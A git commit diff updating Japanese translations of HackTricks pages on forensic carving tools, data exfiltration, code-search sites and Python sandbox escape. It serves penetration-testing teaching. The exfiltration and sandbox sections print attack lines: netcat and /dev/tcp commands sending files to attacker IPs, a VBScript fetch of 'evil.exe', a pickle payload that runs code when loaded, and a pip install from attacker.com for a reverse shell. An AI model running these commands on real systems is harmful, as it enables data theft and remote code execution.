Translated ['forensics/basic-forensic-methodology/partitions-file-system

This commit is contained in:
Translator 2024-03-24 13:42:44 +00:00
parent 1b3fb903de
commit 82449d141f
47 changed files with 1832 additions and 1854 deletions

View file

@ -7,16 +7,16 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**フォロー**する。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**フォロー**する。
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する。 - **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する。
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -32,7 +32,7 @@ HackTricksをサポートする他の方法
### Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk**は埋め込まれたコンテンツを見つけるためのバイナリファイルを分析するツールです。`apt`を介してインストールでそのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。 **Binwalk**はバイナリファイルを分析して埋め込まれたコンテンツを見つけるためのツールです。`apt`を介してインストール可能で、ソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。
**便利なコマンド**: **便利なコマンド**:
```bash ```bash
@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
### Foremost ### Foremost
もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。 foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントアウトしない場合、foremost はデフォルトで構成されたファイルタイプを検索します。 もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。 foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで設定されたファイルタイプを検索します。
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
@ -60,7 +60,7 @@ scalpel file.img -o output
このツールはKaliに含まれていますが、こちらで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) このツールはKaliに含まれていますが、こちらで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
このツールは画像をスキャンし、その中から**pcapsを抽出**し、**ネットワーク情報URL、ドメイン、IP、MAC、メール**や他の**ファイル**を取得することができます。行う必要があるのは以下の通りです: このツールは画像をスキャンし、その中から**pcapsを抽出**し、**ネットワーク情報URL、ドメイン、IP、MAC、メール**や他の**ファイル**を取得することができます。以下の手順のみを実行する必要があります:
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
@ -68,7 +68,7 @@ bulk_extractor memory.img -o out_folder
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で見つけることができます。 [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で見つけることができます。
GUI と CLI バージョンがあります。PhotoRec が検索する**ファイルタイプ**を選択できます。 GUI と CLI バージョンがあります。PhotoRec が検索する**ファイルタイプ**を選択できます。
![](<../../../.gitbook/assets/image (524).png>) ![](<../../../.gitbook/assets/image (524).png>)
@ -81,23 +81,23 @@ GUI と CLI のバージョンがあります。PhotoRec が検索する**ファ
- ビジュアルでアクティブな**構造ビューア** - ビジュアルでアクティブな**構造ビューア**
- 異なる焦点点のための複数のプロット - 異なる焦点点のための複数のプロット
- サンプルの一部に焦点を当てる - サンプルの一部に焦点を当てる
- PE や ELF 実行可能ファイル内の**文字列やリソース**を見る - PE や ELF 実行可能ファイルで**文字列やリソースを見る**ことができます
- ファイルの暗号解析のための**パターン**を取得 - ファイルの暗号解析のための**パターン**を取得
- パッカーやエンコーダーアルゴリズムを**見つける** - パッカーやエンコーダーアルゴリズムを**見つける**
- パターンによるステガノグラフィの**識別** - パターンによるステガノグラフィの**識別**
- **ビジュアル**バイナリ差分 - **ビジュアル**バイナリ差分
BinVis は、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**スタートポイント**です。 BinVis は、ブラックボックスシナリオで未知のターゲットに慣れるための**素晴らしいスタートポイント**です。
## 特定のデータカービングツール ## 特定のデータカービングツール
### FindAES ### FindAES
TrueCrypt や BitLocker で使用されるような 128、192、256 ビットのキーを見つけるために、キースケジュールを検索することで AES キーを検索します。 TrueCrypt や BitLocker で使用されるような 128、192、256 ビットの鍵を見つけるために、鍵スケジュールを検索することで AES 鍵を検索します。
[こちらからダウンロード](https://sourceforge.net/projects/findaes/)できます。 [こちらからダウンロード](https://sourceforge.net/projects/findaes/)
## 付随するツール ## 付随するツール
画像を端末から見るために [**viu** ](https://github.com/atanunq/viu)を使用できます。\ ターミナルから画像を見るために [**viu** ](https://github.com/atanunq/viu)を使用できます。\
Linux コマンドラインツール **pdftotext** を使用して、PDF をテキストに変換して読むことができます。 Linux コマンドラインツール **pdftotext** を使用して、PDF をテキストに変換して読むことができます。

View file

@ -1,32 +1,32 @@
# 情報の外部への持ち出し # 情報の外部流出
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう</strong></summary> <summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
- **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する** * **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
## 情報の外部への持ち出しに使用される一般的にホワイトリストに登録されているドメイン ## 情報を外部流出させるための一般的にホワイトリストに登録されているドメイン
一般的に悪用される可能性のあるホワイトリストに登録されているドメインを見つけるには、[https://lots-project.com/](https://lots-project.com/)をチェックしてください [https://lots-project.com/](https://lots-project.com/)をチェックして、悪用できる一般的にホワイトリストに登録されているドメインを見つける
## Base64コピー&ペースト ## Base64コピー&ペースト
**Linux** **Linux**
```bash ```bash
@ -187,36 +187,35 @@ service smbd restart
``` ```
## Exfiltration ## Exfiltration
### Exfiltration Techniques ### Introduction
Exfiltration techniques are used to **steal** data from a target network. Once an attacker gains access to a network, they need to find a way to exfiltrate the data they are after. There are several common exfiltration techniques: Exfiltration is the unauthorized transfer of data from a target. This can be achieved through various methods, such as:
- **Compression**: Compressing data before exfiltrating it can help avoid detection. - **Direct exfiltration**: Data is sent directly from the target to an external location.
- **Encryption**: Encrypting data makes it harder for security tools to detect the exfiltrated data. - **Indirect exfiltration**: Data is first sent to an intermediate location before being transferred to an external location.
- **Steganography**: Hiding data within other files or messages can help evade detection. - **Covert exfiltration**: Data is hidden within other legitimate network traffic to avoid detection.
- **Traffic **: Sending data out in small, inconspicuous chunks can help avoid detection.
- **DNS Tunneling**: Sending data over DNS requests can bypass some security controls.
- **Exfiltration over Alternative Protocols**: Using protocols other than HTTP/HTTPS can help avoid detection.
### Exfiltration Tools ### Techniques
There are several tools available to help with exfiltrating data from a target network. Some popular tools include: #### Common Exfiltration Techniques
- **Netcat**: A versatile networking utility that can be used for exfiltration. 1. **Compression**: Data is compressed before exfiltration to reduce its size and avoid detection.
- **Wget**: A command-line utility for downloading files, which can be used to exfiltrate data. 2. **Encryption**: Data is encrypted to prevent unauthorized access during exfiltration.
- **Curl**: Another command-line tool for transferring data with support for various protocols. 3. **Steganography**: Data is hidden within other files or data to avoid detection.
- **FTP**: File Transfer Protocol can be used for exfiltrating data over a network. 4. **Protocol Manipulation**: Data is sent using non-standard protocols to bypass security controls.
- **SCP**: Secure Copy Protocol can securely transfer files between hosts on a network. 5. **DNS Tunneling**: Data is exfiltrated through DNS requests to avoid detection.
### Exfiltration Resources ### Tools
In addition to tools, there are resources available to help with exfiltration: #### Exfiltration Tools
- **GitHub**: A popular platform for finding exfiltration tools and resources. 1. **Netcat**: A versatile networking tool that can be used for exfiltration.
- **Forums**: Online forums can be a valuable resource for learning about exfiltration techniques. 2. **Wget**: A command-line utility for downloading files, which can be used for exfiltration.
- **Blogs**: Security blogs often contain information about exfiltration methods and tools. 3. **Curl**: Another command-line tool for transferring data, useful for exfiltration.
- **Tutorials**: Online tutorials can provide step-by-step guidance on exfiltrating data from a network.
- **Books**: There are books available that cover exfiltration techniques in detail. ### Conclusion
Exfiltration is a critical phase of the attack lifecycle, where the attacker attempts to steal valuable data from the target. By understanding exfiltration techniques and using appropriate tools, attackers can successfully transfer data without being detected.
```bash ```bash
CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -232,7 +231,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
``` ```
## SSHFS ## SSHFS
被害者がSSHを持っている場合、攻撃者は被害者から攻撃者にディレクトリをマウントできます。 被害者がSSHを持っている場合、攻撃者は被害者から攻撃者にディレクトリをマウントすることができます。
```bash ```bash
sudo apt-get install sshfs sudo apt-get install sshfs
sudo mkdir /mnt/sshfs sudo mkdir /mnt/sshfs
@ -244,33 +243,19 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
#### Description #### Description
The Netcat (`nc`) utility is a versatile tool that can be used for data exfiltration. It allows for creating a connection between two systems, enabling the transfer of data between them. Netcat can be used to send files, directories, or even entire hard drive images over a network. The Netcat utility, or `nc`, is a versatile tool that can be used for data exfiltration. Netcat can create a connection between a source and a destination, allowing for the transfer of data between them. This can be leveraged by an attacker to exfiltrate sensitive information from a target network.
#### Methodology #### Methodology
1. **Listener Setup**: Start a listener on the receiving system using the following command: 1. **Listener Setup**: The attacker sets up a listener on a machine outside the target network using Netcat.
```bash
nc -lvp <port> > output.file
```
2. **Sender Setup**: Initiate a connection from the sending system to the listener using the following command: 2. **Data Transfer**: Netcat is then used on the compromised machine within the target network to connect to the listener set up by the attacker. Data can be transferred between the two machines through this connection.
```bash
nc <receiver_ip> <port> < input.file
```
3. **Data Transfer**: Data will be transferred from the sender to the listener and saved in the `output.file` on the receiving system. 3. **Exfiltration**: The attacker can exfiltrate sensitive data by redirecting the output of commands or by transferring files using Netcat.
#### Detection #### Detection
- Monitor network traffic for suspicious connections using Netcat. Monitoring network traffic for suspicious connections to external machines, especially using uncommon ports, can help in detecting data exfiltration using Netcat. Conducting regular security audits and implementing network segmentation can also aid in detecting and preventing such attacks.
- Look for unusual data transfers over non-standard ports.
- Implement egress filtering to restrict the use of Netcat on systems.
#### Prevention
- Disable or restrict the use of Netcat on systems where it is not required.
- Implement network segmentation to limit the scope of potential data exfiltration.
- Use encryption to secure data being transferred over the network.
```bash ```bash
nc -lvnp 4444 > new_file nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file nc -vn <IP> 4444 < exfil_file
@ -282,7 +267,7 @@ nc -vn <IP> 4444 < exfil_file
nc -lvnp 80 > file #Inside attacker nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
``` ```
### ターゲットにファイルをアップロード ### 被害者へのファイルアップロード
```bash ```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim # Inside victim
@ -343,9 +328,37 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
``` ```
## VBScript ## VBScript
### VBScript Exfiltration ### VBScript Exfiltration Techniques
VBScript can be used to exfiltrate data by sending it over HTTP or HTTPS to an external server. This can be achieved by creating an HTTP request object, setting the request headers and body with the data to be exfiltrated, and sending the request to a remote server. This technique can be used to bypass network restrictions and exfiltrate data without directly connecting to the target network. VBScript can be used to exfiltrate data from a compromised system. Below are some common techniques used for data exfiltration using VBScript:
1. **Writing to Files**: VBScript can write data to files on the system, which can then be transferred out.
2. **Sending Emails**: VBScript can be used to send emails with the exfiltrated data as attachments or within the email body.
3. **HTTP Requests**: VBScript can make HTTP requests to external servers, sending the exfiltrated data in the request payload.
4. **DNS Tunneling**: VBScript can encode data in DNS requests and responses to exfiltrate information covertly.
5. **FTP Transfer**: VBScript can be used to transfer files via FTP to an external server.
6. **Executing Commands**: VBScript can execute commands to exfiltrate data through various means.
### Detection and Prevention
To detect and prevent data exfiltration via VBScript, consider the following measures:
- **Monitoring File Writes**: Monitor for suspicious file write activities by VBScript.
- **Network Traffic Analysis**: Analyze network traffic for any unusual patterns or connections made by VBScript.
- **Email Filtering**: Implement email filtering to prevent VBScript from sending out exfiltrated data via emails.
- **Firewall Rules**: Configure firewall rules to restrict VBScript from making unauthorized network connections.
- **Behavioral Analysis**: Conduct behavioral analysis to detect any abnormal behavior exhibited by VBScript.
By implementing these detection and prevention measures, organizations can enhance their security posture against data exfiltration using VBScript.
```bash ```bash
Attacker> python -m SimpleHTTPServer 80 Attacker> python -m SimpleHTTPServer 80
``` ```
@ -383,7 +396,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
``` ```
## Debug.exe ## Debug.exe
`debug.exe`プログラムは、バイナリの検査だけでなく、**16進数からバイナリを再構築する機能**も持っています。これは、バイナリの16進数を提供することで、`debug.exe`がバイナリファイルを生成できることを意味します。ただし、`debug.exe`には**64 kbまでのファイルをアセンブリングするという制限**があることに注意することが重要です。 `debug.exe`プログラムは、バイナリの検査だけでなく、**16進数からバイナリを再構築する機能**も持っています。これはつまり、バイナリの16進数を提供することで、`debug.exe`がバイナリファイルを生成できるということです。ただし、`debug.exe`には**64 kbまでのファイルをアセンブルするという制限**があることに注意することが重要です。
```bash ```bash
# Reduce the size # Reduce the size
upx -9 nc.exe upx -9 nc.exe
@ -392,23 +405,3 @@ wine exe2bat.exe nc.exe nc.txt
## DNS ## DNS
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**してください
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details>

View file

@ -6,39 +6,39 @@
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks_live** をフォローする
* **ハッキングトリックを共有するには**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
このページの目は、1つまたは複数のプラットフォームで数千万のリポジトリを横断してコードリテラルまたは正規表現を検索できる**プラットフォームを列挙すること**です。 このページの目は、1つまたは複数のプラットフォームで数千万のリポジトリを横断してコードリテラルまたは正規表現を検索できる **プラットフォームを列挙すること** です。
これは、**漏洩情報**や**脆弱性**パターンを検索する際に役立ちます。 これは、**漏洩情報** **脆弱性** パターンを検索する際に役立ちます。
* [**SourceGraph**](https://sourcegraph.com/search): 数百万のリポジトリ検索します。無料版とエンタープライズ版15日間無料があります。正規表現をサポートしています。 * [**SourceGraph**](https://sourcegraph.com/search): 数百万のリポジトリ検索します。無料版とエンタープライズ版15日間無料があります。正規表現をサポートしています。
* [**Github Search**](https://github.com/search): Github全体検索します。正規表現をサポートしています。 * [**Github Search**](https://github.com/search): Github全体検索します。正規表現をサポートしています。
* また、[**Github Code Search**](https://cs.github.com/)をチェックするのも役立つかもしれません。 * また、[**Github Code Search**](https://cs.github.com/) もチェックすると便利かもしれません。
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlabプロジェクト全体検索します。正規表現をサポートしています。 * [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlabプロジェクト全体検索します。正規表現をサポートしています。
* [**SearchCode**](https://searchcode.com/): 数百万のプロジェクトでコードを検索します。 * [**SearchCode**](https://searchcode.com/): 数百万のプロジェクトでコードを検索します。
{% hint style="warning" %} {% hint style="warning" %}
リポジトリで漏洩を探す際に`git log -p`などを実行するときは、**他のコミットを含む他のブランチに秘密情報が含まれている可能性**があることを忘れないでください! リポジトリで漏洩を探す際に `git log -p` のようなコマンドを実行するときは、**他のコミットを含む他のブランチに秘密情報が含まれている可能性** があることを忘れないでください!
{% endhint %} {% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -48,10 +48,10 @@ HackTricks をサポートする他の方法:
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks_live** をフォローする
* **ハッキングトリックを共有するには**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details> </details>

View file

@ -2,12 +2,12 @@
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
- **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する** - **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
@ -16,17 +16,17 @@ HackTricksをサポートする他の方法
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
これはPythonサンドボックス保護をバイパスし、任意のコマンドを実行するためのいくつかのトリックです。 これはPythonサンドボックス保護をバイパスして任意のコマンドを実行するためのトリックです。
## コマンド実行ライブラリ ## コマンド実行ライブラリ
最初に知るべきことは、すでにインポートされたライブラリでコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです。 最初に知るべきことは、すでにインポートされたライブラリでコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかです。
```python ```python
os.system("ls") os.system("ls")
os.popen("ls").read() os.popen("ls").read()
@ -74,8 +74,8 @@ Python try to **load libraries from the current directory first** (the following
### デフォルトのパッケージ ### デフォルトのパッケージ
こちらで**事前にインストールされた**パッケージのリストを見つけることができます: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ こちらで**事前にインストールされた**パッケージのリストを見つけることができます: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
pickleからシステムにインストールされた**任意のライブラリをインポート**することができます。\ pickleからは、システムにインストールされている**任意のライブラリをインポート**することができます。\
えば、次のpickleは、ロードされるとpipライブラリをインポートして使用します: たとえば、次のpickleは、ロードされるとpipライブラリをインポートして使用します:
```python ```python
#Note that here we are importing the pip library so the pickle is created correctly #Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it #however, the victim doesn't even need to have the library installed to execute it
@ -88,23 +88,23 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0))) print(base64.b64encode(pickle.dumps(P(), protocol=0)))
``` ```
以下のリンクでpickleの動作について詳細を確認できます: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) 以下は、pickleの動作に関する詳細情報については、[https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)を参照してください。
### Pip パッケージ ### Pip パッケージ
**@isHaacK** によって共有されたトリック **@isHaacK** によって共有されたトリック
`pip` または `pip.main()` にアクセス権がある場合、任意のパッケージをインストールし、以下を呼び出すことで逆シェルを取得できます: `pip`または`pip.main()`にアクセス権がある場合、任意のパッケージをインストールし、次のように逆シェルを取得できます。
```bash ```bash
pip install http://attacker.com/Rerverse.tar.gz pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
``` ```
